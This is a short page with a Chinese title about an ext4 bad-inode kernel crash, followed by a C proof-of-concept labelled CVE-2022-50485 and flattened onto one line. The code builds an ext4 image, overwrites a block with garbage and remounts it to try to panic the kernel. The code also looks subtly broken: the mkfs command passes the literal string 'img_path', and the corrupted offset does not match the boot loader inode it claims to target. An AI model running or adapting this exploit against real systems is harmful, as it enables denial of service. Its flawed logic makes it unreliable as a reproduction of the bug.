Linux内核ext4文件系统坏inode绕过检查导致内核崩溃漏洞

// CVE-2022-50485 PoC - Trigger kernel panic via bad inode in ext4 // This PoC demonstrates how to trigger the vulnerability by creating // a crafted ext4 filesystem with a corrupted boot loader inode. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/mount.h> #include <sys/stat.h> #define IMG_SIZE (64 * 1024 * 1024) // 64MB image #define BLOCK_SIZE 4096 int main(int argc, char *argv[]) { const char *img_path = "/tmp/cve_2022_50485.img"; const char *mount_point = "/tmp/cve_2022_50485_mnt"; int fd; // Step 1: Create a sparse file for the ext4 filesystem fd = open(img_path, O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd < 0) { perror("open"); return 1; } if (ftruncate(fd, IMG_SIZE) < 0) { perror("ftruncate"); return 1; } close(fd); // Step 2: Create an ext4 filesystem on the image if (system("mkfs.ext4 -b 4096 -O ^metadata_csum,^64bit img_path") != 0) { fprintf(stderr, "mkfs.ext4 failed\n"); return 1; } // Step 3: Mount the filesystem mkdir(mount_point, 0755); if (mount(img_path, mount_point, "ext4", 0, "") < 0) { perror("mount"); return 1; } // Step 4: Corrupt the boot loader inode area // This simulates a bad inode condition for the boot loader inode // by directly modifying the inode table on disk fd = open(img_path, O_RDWR); if (fd < 0) { perror("open img"); return 1; } // Locate and corrupt inode table - inode #2 typically holds // the root directory, but we target the boot loader related inodes // by writing garbage to the inode table area off_t inode_table_offset = BLOCK_SIZE * 2; // Approximate offset char garbage[BLOCK_SIZE]; memset(garbage, 0xFF, sizeof(garbage)); lseek(fd, inode_table_offset, SEEK_SET); write(fd, garbage, sizeof(garbage)); close(fd); // Step 5: Remount to trigger ext4_iget() on the corrupted inode umount(mount_point); if (mount(img_path, mount_point, "ext4", 0, "errors=continue") < 0) { perror("remount"); // If mount fails, the corruption may have triggered the vulnerability printf("Mount failed - potential kernel panic triggered\n"); } // Cleanup umount(mount_point); rmdir(mount_point); unlink(img_path); return 0; }